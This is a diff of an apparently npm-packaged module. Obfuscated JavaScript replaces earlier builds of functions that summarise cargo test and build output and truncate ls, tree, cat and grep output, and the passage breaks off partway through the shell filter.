_0x3778a5['push'](_0x3778a5['shift']());}catch(_0x50dee4){_0x3778a5['push'](_0x3778a5['shift']());}}}(a0_0x1d91,0x2469d));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x4b29a7(0x19c)]=filterCargoTest,exports[a0_0x4b29a7(0x191)]=filterCargoBuild;function filterCargoTest(_0x1c3c0a){const _0x1da4c3=a0_0x4b29a7,_0x50a498=_0x1c3c0a[_0x1da4c3(0x19b)]('\x0a');let _0x5d4a2a=0x0,_0x7be01a=0x0,_0xf8b38b=0x0,_0x4b636e=0x0;const _0x15a180=[];let _0x536afa=![],_0x8f7d12=[];for(const _0x209bc9 of _0x50a498){const _0x41ac4d=_0x209bc9[_0x1da4c3(0x18c)](),_0x52fd34=_0x41ac4d[_0x1da4c3(0x1a9)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x52fd34){_0x5d4a2a+=parseInt(_0x52fd34[0x2]),_0x7be01a+=parseInt(_0x52fd34[0x3]),_0xf8b38b+=parseInt(_0x52fd34[0x4]),_0x4b636e+=parseInt(_0x52fd34[0x5]);continue;}if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d===_0x1da4c3(0x182)){_0x536afa=!![];continue;}if(_0x536afa){if(_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1aa))&&_0x41ac4d['endsWith']('\x20----')){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12['join']('\x0a'));_0x8f7d12=[_0x41ac4d[_0x1da4c3(0x195)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x41ac4d===_0x1da4c3(0x196)||_0x41ac4d[_0x1da4c3(0x19a)](_0x1da4c3(0x1a8))){if(_0x8f7d12['length']>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));_0x8f7d12=[],_0x536afa=![];}else _0x41ac4d[_0x1da4c3(0x17b)]>0x0&&_0x8f7d12[_0x1da4c3(0x18a)](_0x209bc9);}}}if(_0x8f7d12[_0x1da4c3(0x17b)]>0x0)_0x15a180[_0x1da4c3(0x18a)](_0x8f7d12[_0x1da4c3(0x184)]('\x0a'));if(_0x5d4a2a===0x0&&_0x7be01a===0x0&&_0xf8b38b===0x0){if(_0x1c3c0a[_0x1da4c3(0x192)](_0x1da4c3(0x188)))return _0x1da4c3(0x198);return _0x1c3c0a;}if(_0x7be01a===0x0){const _0x48ad65=[_0x1da4c3(0x180)+_0x5d4a2a+_0x1da4c3(0x185)];if(_0xf8b38b>0x0)_0x48ad65[_0x1da4c3(0x18a)](_0xf8b38b+_0x1da4c3(0x1ab));return _0x48ad65[_0x1da4c3(0x184)](',\x20');}const _0x2b2ad6=[_0x1da4c3(0x180)+_0x5d4a2a+'\x20passed,\x20'+_0x7be01a+_0x1da4c3(0x181)+_0xf8b38b+_0x1da4c3(0x1ab)];if(_0x15a180[_0x1da4c3(0x17b)]>0x0){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x19f));const _0x35e5e9=0x3;for(let _0x244f12=0x0;_0x244f12<Math[_0x1da4c3(0x17f)](_0x15a180[_0x1da4c3(0x17b)],_0x35e5e9);_0x244f12++){const _0x51f667=_0x15a180[_0x244f12][_0x1da4c3(0x19b)]('\x0a');_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20'+(_0x244f12+0x1)+'.\x20'+_0x51f667[0x0]);const _0x12b275=_0x51f667[_0x1da4c3(0x190)](0x1),_0x47251c=_0x12b275[_0x1da4c3(0x18d)](_0x4d6d06=>_0x4d6d06[_0x1da4c3(0x18c)]()[_0x1da4c3(0x19a)](_0x1da4c3(0x197))||_0x4d6d06[_0x1da4c3(0x192)]('panicked')||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x199))||_0x4d6d06[_0x1da4c3(0x192)](_0x1da4c3(0x1a1))||_0x4d6d06[_0x1da4c3(0x192)]('right:'));for(const _0x47e924 of _0x47251c[_0x1da4c3(0x190)](0x0,0x5)){_0x2b2ad6[_0x1da4c3(0x18a)](_0x1da4c3(0x1ac)+_0x47e924['trim']());}}_0x15a180[_0x1da4c3(0x17b)]>_0x35e5e9&&_0x2b2ad6[_0x1da4c3(0x18a)]('\x20\x20...\x20+'+(_0x15a180['length']-_0x35e5e9)+'\x20more\x20failures');}return _0x2b2ad6[_0x1da4c3(0x184)]('\x0a');}function a0_0x526b(_0x1ec4aa,_0x57e519){_0x1ec4aa=_0x1ec4aa-0x17a;const _0x1d918a=a0_0x1d91();let _0x526b33=_0x1d918a[_0x1ec4aa];return _0x526b33;}function filterCargoBuild(_0x520227){const _0x541345=a0_0x4b29a7,_0x4c25a0=_0x520227['split']('\x0a'),_0x183540=[],_0x472916=[];let _0x1d54dc=0x0;for(const _0x996468 of _0x4c25a0){const _0x96a92b=_0x996468[_0x541345(0x18c)]();if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x18e)))_0x1d54dc++;else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x17d))||_0x96a92b[_0x541345(0x19a)](_0x541345(0x187)))_0x183540['push'](_0x96a92b);else{if(_0x96a92b[_0x541345(0x19a)](_0x541345(0x19e))||_0x96a92b[_0x541345(0x19a)]('error:'))_0x472916[_0x541345(0x18a)](_0x96a92b);}}}if(_0x472916[_0x541345(0x17b)]===0x0&&_0x183540[_0x541345(0x17b)]===0x0)return _0x1d54dc>0x0?'Cargo:\x20compiled\x20'+_0x1d54dc+_0x541345(0x18b):_0x520227[_0x541345(0x18c)]();const _0x242f5e=[];if(_0x472916[_0x541345(0x17b)]>0x0){_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a2)+_0x472916[_0x541345(0x17b)]+_0x541345(0x183)+_0x183540['length']+'\x20warnings'),_0x242f5e['push'](_0x541345(0x193));for(const _0x3af7c7 of _0x472916['slice'](0x0,0x5))_0x242f5e['push']('\x20\x20'+_0x3af7c7);if(_0x472916[_0x541345(0x17b)]>0x5)_0x242f5e[_0x541345(0x18a)](_0x541345(0x1a5)+(_0x472916[_0x541345(0x17b)]-0x5)+_0x541345(0x1a7));}else _0x242f5e[_0x541345(0x18a)](_0x541345(0x18f)+_0x1d54dc+_0x541345(0x186)+_0x183540[_0x541345(0x17b)]+_0x541345(0x1a0));if(_0x183540['length']>0x0&&_0x183540[_0x541345(0x17b)]<=0x5){_0x242f5e['push']('\x0aWarnings:');for(const _0x195194 of _0x183540)_0x242f5e['push']('\x20\x20'+_0x195194);}else _0x183540[_0x541345(0x17b)]>0x5&&_0x242f5e[_0x541345(0x18a)]('\x0a('+_0x183540['length']+_0x541345(0x19d));return _0x242f5e[_0x541345(0x184)]('\x0a');}
1
+ 'use strict';function a0_0x2922(){const _0x39012d=['\x20----','Cargo:\x20','__esModule','Cargo:\x20compiled\x20','thread','min','8tCdaPi','2784hCZKih','split','join','defineProperty','588168VzRiAs','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','length','\x0aFailures:','6AWbXWD','Compiling\x20','\x20warnings','filterCargoTest','failures:','startsWith','26rYolSE','17182yDIZOI','slice','\x0aWarnings:','warning[','10121922OUGsEW','\x20failed,\x20','panicked','218751JtMyBj','536YXASRo','572684woxQXf','\x20more\x20errors','\x20\x20\x20\x20','\x20crates\x20successfully','\x20more\x20failures','endsWith','60AJFfim','includes','test\x20result:','Cargo\x20test:\x20all\x20tests\x20passed','8040lJfhgj','right:','\x20crates,\x20','\x20errors,\x20','----\x20failures\x20----','\x0aErrors:','\x20\x20...\x20+','\x20passed','\x20ignored','----\x20','\x20passed,\x20','trim','replace','9461179zBDpgp','push','warning:','Cargo\x20test:\x20'];a0_0x2922=function(){return _0x39012d;};return a0_0x2922();}const a0_0x5a6e18=a0_0x318b;(function(_0x2ff3ff,_0x1b041e){const _0x49e45d=a0_0x318b,_0xb6bb96=_0x2ff3ff();while(!![]){try{const _0xa75657=-parseInt(_0x49e45d(0x16e))/0x1*(-parseInt(_0x49e45d(0x165))/0x2)+parseInt(_0x49e45d(0x15f))/0x3*(-parseInt(_0x49e45d(0x16f))/0x4)+parseInt(_0x49e45d(0x175))/0x5*(-parseInt(_0x49e45d(0x15b))/0x6)+-parseInt(_0x49e45d(0x186))/0x7*(parseInt(_0x49e45d(0x156))/0x8)+parseInt(_0x49e45d(0x16a))/0x9+-parseInt(_0x49e45d(0x179))/0xa*(parseInt(_0x49e45d(0x166))/0xb)+-parseInt(_0x49e45d(0x157))/0xc*(-parseInt(_0x49e45d(0x16d))/0xd);if(_0xa75657===_0x1b041e)break;else _0xb6bb96['push'](_0xb6bb96['shift']());}catch(_0x122607){_0xb6bb96['push'](_0xb6bb96['shift']());}}}(a0_0x2922,0xebaf7));Object[a0_0x5a6e18(0x15a)](exports,a0_0x5a6e18(0x18c),{'value':!![]}),exports[a0_0x5a6e18(0x162)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x318b(_0x450c49,_0x411447){_0x450c49=_0x450c49-0x155;const _0x292235=a0_0x2922();let _0x318b34=_0x292235[_0x450c49];return _0x318b34;}function filterCargoTest(_0x350454){const _0x32555d=a0_0x5a6e18,_0x261dfd=_0x350454[_0x32555d(0x158)]('\x0a');let _0x582dff=0x0,_0x4435f8=0x0,_0x5e0ab8=0x0,_0x3f41dc=0x0;const _0x194cbc=[];let _0x4a96e9=![],_0x42cd40=[];for(const _0x4ce7ce of _0x261dfd){const _0x2e7655=_0x4ce7ce[_0x32555d(0x184)](),_0x4c1dfc=_0x2e7655['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x4c1dfc){_0x582dff+=parseInt(_0x4c1dfc[0x2]),_0x4435f8+=parseInt(_0x4c1dfc[0x3]),_0x5e0ab8+=parseInt(_0x4c1dfc[0x4]),_0x3f41dc+=parseInt(_0x4c1dfc[0x5]);continue;}if(_0x2e7655===_0x32555d(0x163)||_0x2e7655===_0x32555d(0x17d)){_0x4a96e9=!![];continue;}if(_0x4a96e9){if(_0x2e7655[_0x32555d(0x164)](_0x32555d(0x182))&&_0x2e7655[_0x32555d(0x174)](_0x32555d(0x18a))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[_0x2e7655[_0x32555d(0x185)](/^-+\s*/,'')[_0x32555d(0x185)](/\s*-+$/,'')];}else{if(_0x2e7655===_0x32555d(0x163)||_0x2e7655['startsWith'](_0x32555d(0x177))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[],_0x4a96e9=![];}else _0x2e7655[_0x32555d(0x15d)]>0x0&&_0x42cd40[_0x32555d(0x187)](_0x4ce7ce);}}}if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40['join']('\x0a'));if(_0x582dff===0x0&&_0x4435f8===0x0&&_0x5e0ab8===0x0){if(_0x350454['includes']('test\x20result:\x20ok'))return _0x32555d(0x178);return _0x350454;}if(_0x4435f8===0x0){const _0x161696=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x180)];if(_0x5e0ab8>0x0)_0x161696[_0x32555d(0x187)](_0x5e0ab8+'\x20ignored');return _0x161696[_0x32555d(0x159)](',\x20');}const _0x29b4c4=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x183)+_0x4435f8+_0x32555d(0x16b)+_0x5e0ab8+_0x32555d(0x181)];if(_0x194cbc[_0x32555d(0x15d)]>0x0){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x15e));const _0x459e81=0x3;for(let _0x34aa27=0x0;_0x34aa27<Math[_0x32555d(0x155)](_0x194cbc[_0x32555d(0x15d)],_0x459e81);_0x34aa27++){const _0x5da595=_0x194cbc[_0x34aa27][_0x32555d(0x158)]('\x0a');_0x29b4c4['push']('\x20\x20'+(_0x34aa27+0x1)+'.\x20'+_0x5da595[0x0]);const _0x35ad12=_0x5da595[_0x32555d(0x167)](0x1),_0x23eb77=_0x35ad12['filter'](_0x58523d=>_0x58523d[_0x32555d(0x184)]()['startsWith'](_0x32555d(0x18e))||_0x58523d['includes'](_0x32555d(0x16c))||_0x58523d[_0x32555d(0x176)]('assert')||_0x58523d[_0x32555d(0x176)]('left:')||_0x58523d[_0x32555d(0x176)](_0x32555d(0x17a)));for(const _0x17758f of _0x23eb77['slice'](0x0,0x5)){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x171)+_0x17758f[_0x32555d(0x184)]());}}_0x194cbc[_0x32555d(0x15d)]>_0x459e81&&_0x29b4c4[_0x32555d(0x187)]('\x20\x20...\x20+'+(_0x194cbc[_0x32555d(0x15d)]-_0x459e81)+_0x32555d(0x173));}return _0x29b4c4[_0x32555d(0x159)]('\x0a');}function filterCargoBuild(_0x391c5c){const _0x180018=a0_0x5a6e18,_0x2432da=_0x391c5c['split']('\x0a'),_0x397eaa=[],_0x444c75=[];let _0x329e55=0x0;for(const _0x2a9b69 of _0x2432da){const _0x579722=_0x2a9b69[_0x180018(0x184)]();if(_0x579722['startsWith'](_0x180018(0x160)))_0x329e55++;else{if(_0x579722['startsWith'](_0x180018(0x169))||_0x579722[_0x180018(0x164)](_0x180018(0x188)))_0x397eaa[_0x180018(0x187)](_0x579722);else{if(_0x579722[_0x180018(0x164)]('error[')||_0x579722[_0x180018(0x164)]('error:'))_0x444c75[_0x180018(0x187)](_0x579722);}}}if(_0x444c75[_0x180018(0x15d)]===0x0&&_0x397eaa['length']===0x0)return _0x329e55>0x0?_0x180018(0x18d)+_0x329e55+_0x180018(0x172):_0x391c5c[_0x180018(0x184)]();const _0x41e88b=[];if(_0x444c75['length']>0x0){_0x41e88b['push'](_0x180018(0x18b)+_0x444c75[_0x180018(0x15d)]+_0x180018(0x17c)+_0x397eaa['length']+_0x180018(0x161)),_0x41e88b['push'](_0x180018(0x17e));for(const _0x137a2e of _0x444c75[_0x180018(0x167)](0x0,0x5))_0x41e88b[_0x180018(0x187)]('\x20\x20'+_0x137a2e);if(_0x444c75[_0x180018(0x15d)]>0x5)_0x41e88b[_0x180018(0x187)](_0x180018(0x17f)+(_0x444c75[_0x180018(0x15d)]-0x5)+_0x180018(0x170));}else _0x41e88b[_0x180018(0x187)]('Cargo:\x20compiled\x20'+_0x329e55+_0x180018(0x17b)+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x161));if(_0x397eaa['length']>0x0&&_0x397eaa['length']<=0x5){_0x41e88b[_0x180018(0x187)](_0x180018(0x168));for(const _0x38bb71 of _0x397eaa)_0x41e88b['push']('\x20\x20'+_0x38bb71);}else _0x397eaa[_0x180018(0x15d)]>0x5&&_0x41e88b[_0x180018(0x187)]('\x0a('+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x15c));return _0x41e88b[_0x180018(0x159)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x13fcd6=a0_0x55b0;function a0_0x1660(){const _0x2fa953=['\x0a...\x20(','\x20more\x20files','3992eUyrKC','defineProperty','\x20more\x20directories','substring','9bBmZWI','104430uSpuRK','\x20matches\x20across\x20','24sIHrjK','split','Empty\x20directory','indexOf','655431XmeivM','No\x20matches\x20found','...\x20+','3547630aEXUcy','includes','filterCat','endsWith','\x20more\x20matches','267666fUBdNS','total\x20','\x20more\x20files\x20with\x20matches','\x20matches\x20in\x20this\x20file)','slice','\x20directories,\x20','trim','\x0a...\x20[','81852GdmVGl',':\x20...\x20(','2045zrCfhN','9hsyEcc','join','length','filterLs','\x20lines\x20total)','\x20files)','7063001fUhkLf','keys','startsWith','match','filter','push'];a0_0x1660=function(){return _0x2fa953;};return a0_0x1660();}(function(_0x3f8137,_0x155bfa){const _0x47e780=a0_0x55b0,_0x2a374b=_0x3f8137();while(!![]){try{const _0x1a1e4b=parseInt(_0x47e780(0x1ad))/0x1*(-parseInt(_0x47e780(0x198))/0x2)+parseInt(_0x47e780(0x188))/0x3+-parseInt(_0x47e780(0x1a9))/0x4*(parseInt(_0x47e780(0x19a))/0x5)+parseInt(_0x47e780(0x1ae))/0x6+parseInt(_0x47e780(0x190))/0x7*(-parseInt(_0x47e780(0x184))/0x8)+-parseInt(_0x47e780(0x19b))/0x9*(-parseInt(_0x47e780(0x18b))/0xa)+parseInt(_0x47e780(0x1a1))/0xb;if(_0x1a1e4b===_0x155bfa)break;else _0x2a374b['push'](_0x2a374b['shift']());}catch(_0x35c6fb){_0x2a374b['push'](_0x2a374b['shift']());}}}(a0_0x1660,0x53602));function a0_0x55b0(_0x4abc17,_0xdf2bc3){_0x4abc17=_0x4abc17-0x183;const _0x1660be=a0_0x1660();let _0x55b0c5=_0x1660be[_0x4abc17];return _0x55b0c5;}Object[a0_0x13fcd6(0x1aa)](exports,'__esModule',{'value':!![]}),exports[a0_0x13fcd6(0x19e)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x13fcd6(0x18d)]=filterCat,exports['filterGrep']=filterGrep;function filterLs(_0x16d20a){const _0xbdae9a=a0_0x13fcd6,_0x435528=_0x16d20a[_0xbdae9a(0x185)]('\x0a')[_0xbdae9a(0x1a5)](_0x2336ce=>_0x2336ce['trim']()[_0xbdae9a(0x19d)]>0x0);if(_0x435528[_0xbdae9a(0x19d)]===0x0)return _0xbdae9a(0x186);if(_0x435528[_0xbdae9a(0x19d)]<=0x1e)return _0x16d20a[_0xbdae9a(0x196)]();const _0x5a578d=[],_0x2e2597=[];for(const _0x622e1e of _0x435528){const _0x4c3d57=_0x622e1e[_0xbdae9a(0x196)]();if(_0x4c3d57[_0xbdae9a(0x1a3)](_0xbdae9a(0x191))||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('..'))continue;_0x4c3d57[_0xbdae9a(0x18e)]('/')||_0x4c3d57[_0xbdae9a(0x1a3)]('d')&&_0x4c3d57['includes']('\x20')?_0x5a578d[_0xbdae9a(0x1a6)](_0x4c3d57):_0x2e2597[_0xbdae9a(0x1a6)](_0x4c3d57);}const _0x37eee5=[];return _0x5a578d[_0xbdae9a(0x19d)]>0x0&&(_0x5a578d[_0xbdae9a(0x19d)]<=0xf?_0x37eee5['push'](..._0x5a578d):(_0x37eee5[_0xbdae9a(0x1a6)](..._0x5a578d[_0xbdae9a(0x194)](0x0,0xa)),_0x37eee5['push'](_0xbdae9a(0x18a)+(_0x5a578d['length']-0xa)+_0xbdae9a(0x1ab)))),_0x2e2597[_0xbdae9a(0x19d)]>0x0&&(_0x2e2597[_0xbdae9a(0x19d)]<=0x14?_0x37eee5[_0xbdae9a(0x1a6)](..._0x2e2597):(_0x37eee5['push'](..._0x2e2597[_0xbdae9a(0x194)](0x0,0xf)),_0x37eee5[_0xbdae9a(0x1a6)]('...\x20+'+(_0x2e2597[_0xbdae9a(0x19d)]-0xf)+_0xbdae9a(0x1a8)))),_0x37eee5[_0xbdae9a(0x1a6)]('\x0a('+_0x5a578d['length']+_0xbdae9a(0x195)+_0x2e2597[_0xbdae9a(0x19d)]+_0xbdae9a(0x1a0)),_0x37eee5[_0xbdae9a(0x19c)]('\x0a');}function filterTree(_0x4dc540){const _0x52e2f9=a0_0x13fcd6,_0x32d2a6=_0x4dc540[_0x52e2f9(0x185)]('\x0a');if(_0x32d2a6['length']<=0x32)return _0x4dc540['trim']();const _0x407060=[];let _0x4ed701=0x0,_0x53ef29=0x0,_0x5cd0f1=0x0;for(const _0x4b4594 of _0x32d2a6){const _0x1ebf1c=_0x4b4594[_0x52e2f9(0x1a4)](/(\d+)\s+director/),_0x11472c=_0x4b4594['match'](/(\d+)\s+file/);if(_0x1ebf1c)_0x5cd0f1=parseInt(_0x1ebf1c[0x1]);if(_0x11472c)_0x53ef29=parseInt(_0x11472c[0x1]);const _0x5de894=(_0x4b4594[_0x52e2f9(0x1a4)](/^[│├└\s─]+/)||[''])[0x0][_0x52e2f9(0x19d)];_0x5de894<=0x4&&(_0x407060['push'](_0x4b4594),_0x4ed701++);}return _0x32d2a6['length']>_0x407060[_0x52e2f9(0x19d)]&&_0x407060[_0x52e2f9(0x1a6)](_0x52e2f9(0x1a7)+_0x5cd0f1+_0x52e2f9(0x195)+_0x53ef29+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x407060[_0x52e2f9(0x19c)]('\x0a');}function filterCat(_0x143872){const _0x2a0e30=a0_0x13fcd6,_0x4d893c=_0x143872[_0x2a0e30(0x185)]('\x0a');if(_0x4d893c['length']<=0x64)return _0x143872;const _0xaf1184=[];return _0xaf1184['push'](..._0x4d893c[_0x2a0e30(0x194)](0x0,0x32)),_0xaf1184[_0x2a0e30(0x1a6)](_0x2a0e30(0x197)+(_0x4d893c[_0x2a0e30(0x19d)]-0x50)+'\x20lines\x20truncated]\x20...\x0a'),_0xaf1184[_0x2a0e30(0x1a6)](..._0x4d893c['slice'](-0x1e)),_0xaf1184[_0x2a0e30(0x1a6)]('\x0a('+_0x4d893c['length']+_0x2a0e30(0x19f)),_0xaf1184[_0x2a0e30(0x19c)]('\x0a');}function filterGrep(_0x38dcda){const _0x19fed8=a0_0x13fcd6,_0x1e079a=_0x38dcda[_0x19fed8(0x185)]('\x0a')[_0x19fed8(0x1a5)](_0x5f0fe9=>_0x5f0fe9['trim']()['length']>0x0);if(_0x1e079a[_0x19fed8(0x19d)]===0x0)return _0x19fed8(0x189);if(_0x1e079a[_0x19fed8(0x19d)]<=0x32)return _0x38dcda[_0x19fed8(0x196)]();const _0x472cba={},_0x2f2946=[];for(const _0x1fb1af of _0x1e079a){const _0x492fb0=_0x1fb1af[_0x19fed8(0x187)](':');if(_0x492fb0>0x0&&_0x492fb0<0xc8){const _0x43330c=_0x1fb1af[_0x19fed8(0x1ac)](0x0,_0x492fb0);if(_0x43330c[_0x19fed8(0x18c)]('/')||_0x43330c[_0x19fed8(0x18c)]('\x5c')||_0x43330c[_0x19fed8(0x18c)]('.')){if(!_0x472cba[_0x43330c])_0x472cba[_0x43330c]=[];_0x472cba[_0x43330c][_0x19fed8(0x1a6)](_0x1fb1af['substring'](_0x492fb0+0x1)['trim']());continue;}}_0x2f2946[_0x19fed8(0x1a6)](_0x1fb1af);}const _0x2f689a=[],_0x634b2a=Object[_0x19fed8(0x1a2)](_0x472cba);if(_0x634b2a[_0x19fed8(0x19d)]>0x0){const _0x16ef46=0x14,_0x224daf=_0x634b2a[_0x19fed8(0x194)](0x0,_0x16ef46);for(const _0xc73d53 of _0x224daf){const _0x263db3=_0x472cba[_0xc73d53];if(_0x263db3[_0x19fed8(0x19d)]<=0x3)for(const _0x4e6084 of _0x263db3){_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x4e6084);}else _0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+':\x20'+_0x263db3[0x0]),_0x2f689a[_0x19fed8(0x1a6)](_0xc73d53+_0x19fed8(0x199)+_0x263db3[_0x19fed8(0x19d)]+_0x19fed8(0x193));}_0x634b2a[_0x19fed8(0x19d)]>_0x16ef46&&_0x2f689a[_0x19fed8(0x1a6)](_0x19fed8(0x18a)+(_0x634b2a[_0x19fed8(0x19d)]-_0x16ef46)+_0x19fed8(0x192));}if(_0x2f2946[_0x19fed8(0x19d)]>0x0){const _0x59ed8d=0x1e;_0x2f689a[_0x19fed8(0x1a6)](..._0x2f2946[_0x19fed8(0x194)](0x0,_0x59ed8d)),_0x2f2946[_0x19fed8(0x19d)]>_0x59ed8d&&_0x2f689a[_0x19fed8(0x1a6)]('...\x20+'+(_0x2f2946[_0x19fed8(0x19d)]-_0x59ed8d)+_0x19fed8(0x18f));}const _0x53e310=_0x1e079a['length'];return _0x2f689a[_0x19fed8(0x1a6)]('\x0a('+_0x53e310+_0x19fed8(0x183)+(_0x634b2a['length']||'?')+'\x20files)'),_0x2f689a[_0x19fed8(0x19c)]('\x0a');}
1
+ 'use strict';const a0_0x25a583=a0_0x42ef;(function(_0x496698,_0x504d12){const _0x305ce6=a0_0x42ef,_0x3814e8=_0x496698();while(!![]){try{const _0x3ff101=parseInt(_0x305ce6(0x1a7))/0x1*(-parseInt(_0x305ce6(0x19f))/0x2)+-parseInt(_0x305ce6(0x1a2))/0x3+parseInt(_0x305ce6(0x1be))/0x4*(-parseInt(_0x305ce6(0x1bb))/0x5)+parseInt(_0x305ce6(0x19a))/0x6+parseInt(_0x305ce6(0x198))/0x7+-parseInt(_0x305ce6(0x1b6))/0x8+parseInt(_0x305ce6(0x1af))/0x9;if(_0x3ff101===_0x504d12)break;else _0x3814e8['push'](_0x3814e8['shift']());}catch(_0x5d1e5c){_0x3814e8['push'](_0x3814e8['shift']());}}}(a0_0x25ed,0xb6ac7));Object[a0_0x25a583(0x1bf)](exports,a0_0x25a583(0x1ac),{'value':!![]}),exports[a0_0x25a583(0x1bc)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x25a583(0x19e)]=filterCat,exports['filterGrep']=filterGrep;function a0_0x42ef(_0x44fe5f,_0x153dae){_0x44fe5f=_0x44fe5f-0x198;const _0x25ede1=a0_0x25ed();let _0x42ef8f=_0x25ede1[_0x44fe5f];return _0x42ef8f;}function filterLs(_0x5a8aca){const _0x45ae6a=a0_0x25a583,_0x392b21=_0x5a8aca[_0x45ae6a(0x1b7)]('\x0a')[_0x45ae6a(0x199)](_0x598bf7=>_0x598bf7[_0x45ae6a(0x1b9)]()[_0x45ae6a(0x1ae)]>0x0);if(_0x392b21[_0x45ae6a(0x1ae)]===0x0)return _0x45ae6a(0x1a6);if(_0x392b21['length']<=0x1e)return _0x5a8aca[_0x45ae6a(0x1b9)]();const _0xfed12d=[],_0x3a372a=[];for(const _0x475cfa of _0x392b21){const _0x208200=_0x475cfa['trim']();if(_0x208200['startsWith'](_0x45ae6a(0x1b8))||_0x208200['startsWith']('d')&&_0x208200[_0x45ae6a(0x1a9)]('..'))continue;_0x208200[_0x45ae6a(0x1b5)]('/')||_0x208200[_0x45ae6a(0x1a0)]('d')&&_0x208200[_0x45ae6a(0x1a9)]('\x20')?_0xfed12d['push'](_0x208200):_0x3a372a[_0x45ae6a(0x19d)](_0x208200);}const _0x23c644=[];return _0xfed12d[_0x45ae6a(0x1ae)]>0x0&&(_0xfed12d['length']<=0xf?_0x23c644['push'](..._0xfed12d):(_0x23c644[_0x45ae6a(0x19d)](..._0xfed12d[_0x45ae6a(0x1b3)](0x0,0xa)),_0x23c644[_0x45ae6a(0x19d)](_0x45ae6a(0x1aa)+(_0xfed12d[_0x45ae6a(0x1ae)]-0xa)+_0x45ae6a(0x1b2)))),_0x3a372a[_0x45ae6a(0x1ae)]>0x0&&(_0x3a372a[_0x45ae6a(0x1ae)]<=0x14?_0x23c644[_0x45ae6a(0x19d)](..._0x3a372a):(_0x23c644['push'](..._0x3a372a[_0x45ae6a(0x1b3)](0x0,0xf)),_0x23c644[_0x45ae6a(0x19d)]('...\x20+'+(_0x3a372a[_0x45ae6a(0x1ae)]-0xf)+'\x20more\x20files'))),_0x23c644[_0x45ae6a(0x19d)]('\x0a('+_0xfed12d[_0x45ae6a(0x1ae)]+_0x45ae6a(0x19c)+_0x3a372a[_0x45ae6a(0x1ae)]+_0x45ae6a(0x1ad)),_0x23c644[_0x45ae6a(0x1a1)]('\x0a');}function filterTree(_0x4f9dbb){const _0x280f1d=a0_0x25a583,_0x566ff0=_0x4f9dbb[_0x280f1d(0x1b7)]('\x0a');if(_0x566ff0['length']<=0x32)return _0x4f9dbb[_0x280f1d(0x1b9)]();const _0x1df809=[];let _0x442770=0x0,_0x1caead=0x0,_0x106c6c=0x0;for(const _0x2cdaf6 of _0x566ff0){const _0x51dfb8=_0x2cdaf6['match'](/(\d+)\s+director/),_0xaaae03=_0x2cdaf6['match'](/(\d+)\s+file/);if(_0x51dfb8)_0x106c6c=parseInt(_0x51dfb8[0x1]);if(_0xaaae03)_0x1caead=parseInt(_0xaaae03[0x1]);const _0x38ef1a=(_0x2cdaf6[_0x280f1d(0x1ab)](/^[│├└\s─]+/)||[''])[0x0][_0x280f1d(0x1ae)];_0x38ef1a<=0x4&&(_0x1df809[_0x280f1d(0x19d)](_0x2cdaf6),_0x442770++);}return _0x566ff0['length']>_0x1df809[_0x280f1d(0x1ae)]&&_0x1df809[_0x280f1d(0x19d)](_0x280f1d(0x1b1)+_0x106c6c+_0x280f1d(0x19c)+_0x1caead+_0x280f1d(0x1a4)),_0x1df809[_0x280f1d(0x1a1)]('\x0a');}function filterCat(_0x1df808){const _0x3fc643=a0_0x25a583,_0x31ef41=_0x1df808[_0x3fc643(0x1b7)]('\x0a');if(_0x31ef41[_0x3fc643(0x1ae)]<=0x64)return _0x1df808;const _0x8bb85c=[];return _0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](0x0,0x32)),_0x8bb85c['push'](_0x3fc643(0x1a5)+(_0x31ef41[_0x3fc643(0x1ae)]-0x50)+_0x3fc643(0x1b4)),_0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](-0x1e)),_0x8bb85c[_0x3fc643(0x19d)]('\x0a('+_0x31ef41[_0x3fc643(0x1ae)]+_0x3fc643(0x1ba)),_0x8bb85c['join']('\x0a');}function filterGrep(_0x4219bf){const 